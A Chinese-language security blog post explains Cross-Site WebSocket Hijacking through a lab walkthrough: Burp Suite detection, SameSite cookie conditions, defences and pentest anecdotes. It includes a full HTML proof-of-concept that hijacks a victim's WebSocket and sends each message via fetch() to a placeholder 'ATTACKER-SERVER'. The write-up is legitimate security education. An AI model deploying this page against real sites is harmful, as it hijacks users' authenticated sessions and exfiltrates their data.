跨站WebSocket劫持(CSWSH)漏洞深度解析与实战利用

本文详细分析了WebSocket协议的安全缺陷,重点讲解跨站WebSocket劫持攻击原理,通过Burp Suite实战演示漏洞检测与利用过程,包含完整的攻击链构造和防御方案,涉及身份验证绕过、数据窃取和权限提升等核心安全议题。

无法阻止的劫持:跨站WebSocket劫持(CSWSH)技术剖析

WebSocket协议基础

WebSocket协议于2011年通过RFC 6455标准化,实现了客户端与Web服务器之间通过单一持久连接进行全双工通信,解决了HTTP协议在双向通信方面的长期限制。例如,若要获取实时体育比赛更新,传统HTTP需要浏览器每秒向服务器发送轮询请求,而WebSocket允许服务器在事件发生时主动推送更新,消除了持续轮询的需求,显著降低了带宽消耗和用户延迟。

WebSocket与HTTP连接差异

传统HTTP连接在每次事务完成后立即终止,需要为新请求重新建立连接。而WebSocket在握手完成后保持持久连接,支持双向数据传输。下图展示了这两种协议的连接差异:

漏洞发现与检测

检测WebSocket使用

首先需要确定目标Web应用是否使用WebSocket。最佳实践是配置Burp Suite捕获流量并遍历所有页面。通常只有站点的特定组件使用WebSocket,需要仔细搜索。

在Burp Suite中打开Proxy → WebSockets history标签页查看捕获的WebSocket流量。如图示,/chat端点通过WebSocket发送和接收数据:

连接建立机制

WebSocket连接起始于HTTP协议。访问/chat端点返回的HTML文档包含JavaScript文件引用:

1
<script src="/resources/js/chat.js">

该JavaScript代码打开新的WebSocket连接,并引用聊天表单的action属性获取URL:

1
2
3
4
5
6
7
8
9
function openWebSocket() {
    return new Promise(res => {
        if (webSocket) {
            res(webSocket);
            return;
        }
        let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
    });
}

HTML表单片段显示action属性值(红色高亮):

1
<form id="chatForm" action="wss://0aaf007d04e7a0c383151979009000dd.web-security-academy.net/chat">

注意:wss://表示使用TLS的安全WebSocket连接。如果服务器通过未加密的ws://传输敏感数据,这本身就是一个安全发现。

WebSocket握手过程

JavaScript执行后,浏览器发起HTTP请求进行客户端-服务器握手。服务器返回101 Switching Protocol响应,停止HTTP通信并切换到WSS。

重要说明:Sec-WebSocket-Key请求头与TLS加密或密码学无关,这是一个常见误解。实际上它提供了挑战-响应机制,确保接收连接请求的服务器具备WebSocket能力(RFC 6455章节11.3.1)。

连接建立后,服务器向客户端发送JSON消息:

协议特性与安全缺陷

WebSocket规范中一个文档记录不足的"特性"是:它不受同源策略(SOP)约束,即使在HTTP握手阶段也是如此。RFC 6455第10.2节明确指出:

不打算处理来自任何网页而只针对特定站点的输入服务器,应验证|Origin|字段是否为预期来源。如果指示的来源对服务器不可接受,则应在WebSocket握手中回复包含HTTP 403禁止状态码的响应。

同源策略是浏览器默认启用的严格安全功能,防止一个源(域)的脚本向不同源发起请求。虽然RFC未明确说明不强制执行SOP,但将Origin头验证责任留给了Web服务器(实质相同)。

跨源资源共享(CORS)通过允许网页从不同域请求和共享资源来放宽SOP限制。服务器上的CORS头定义允许访问资源的源,在启用受控跨源交互的同时增强安全性。

跨站WebSocket劫持(CSWSH)

当服务器未验证HTTP握手中的Origin头,且应用程序使用设置了samesite=None身份验证cookie时,就会发生CSWSH攻击。通过诱使用户访问恶意站点,攻击者可以在受害者浏览器中建立和操纵WebSocket通信。

漏洞验证步骤

  1. 发送WebSocket到Repeater:右键点击WebSocket请求选择"Send to Repeater"或按Ctrl+R

  2. 修改Origin头:在Repeater标签页中,点击铅笔形状的编辑连接按钮,将Origin头值伪造成恶意域名

  3. 测试连接:如果服务器未返回403未授权响应并允许发送接收数据,则可能存在CSWSH漏洞

  4. 验证连接:通过WebSocket ID确认连接使用了伪造的源

Cookie要求

CSWSH生效的最后一个要求是发送的cookie必须设置samesite=None标志。这允许浏览器在跨站请求中发送网站cookie。自2020年起,Chrome和Firefox如果省略此值则默认设置为Lax。

可通过开发者工具(Ctrl+Shift+I)的存储标签页中的cookie部分,或使用Firefox的Cookie Quick Manager扩展检查该值。如图所示,网站会话cookie的samesite标志设置为None:

也可以删除请求中的cookie来验证建立WebSocket是否需要身份验证。如果不需要,根据上下文这可能是一个值得报告的安全发现。

漏洞利用实战

攻击场景

  1. 攻击者发现存在漏洞的WebSocket条件
  2. 开发本地概念验证(POC),模拟社会工程攻击
  3. 在攻击者控制的站点托管恶意POC
  4. 诱使受害者访问攻击者控制的站点
  5. 恶意站点劫持受害者的认证WebSocket连接
  6. 攻击者窃取受害者数据或发送未经授权的WebSocket命令

利用代码示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
    <head>
        <link href=https://VULNERABLE-SUBDOMAIN/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=https://VULNERABLE-SUBDOMAIN/resources/css/labs.css rel=stylesheet>
        <title>Cross-site WebSocket hijacking</title>
    </head>
    <body>
        <!-- 恶意页面结构克隆目标站点 -->
        <script>
            var ws = new WebSocket('wss://VULNERABLE-SUBDOMAIN/chat');
            ws.onopen = function() {
                ws.send("READY");
            };
            ws.onmessage = function(event) {
                fetch('https://ATTACKER-SERVER/exploit?msg=' + btoa(event.data));
            };
        </script>
    </body>
</html>

攻击效果

如图所示,恶意网站成功劫持了受害者的WebSocket连接,即使不在原始域名上下文下也能自动填充用户聊天历史:

拦截流量可见受害者的cookie被自动附加到恶意网站向服务器发出的请求中,这是因为会话cookie的samesite标志设置为None。Origin头显示为null,因为网页托管在本地硬盘而非具有域名的Web服务器上。

防御措施

有效防御此攻击的方法包括:

  1. WebSocket服务器应在HTTP握手期间阻止来源值不在严格白名单内的请求
  2. 用户会话cookie应设置samesite=Lax或Strict

真实攻击案例

在实际渗透测试中多次发现此漏洞,且都能将CSWSH与其他发现结合,产生更高影响:

  1. 权限提升案例:某应用有两个门户(志愿者和政府工作人员),动态功能完全依赖WebSocket。恶意页面能够劫持政府工作人员的WebSocket执行管理任务

  2. RCE漏洞链:在管理门户中发现CSWSH漏洞,结合WebSocket内的远程代码执行漏洞,构建了攻击链:恶意站点劫持受害者WebSocket,然后通过WebSocket建立到攻击者基础设施的反向shell

参考资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计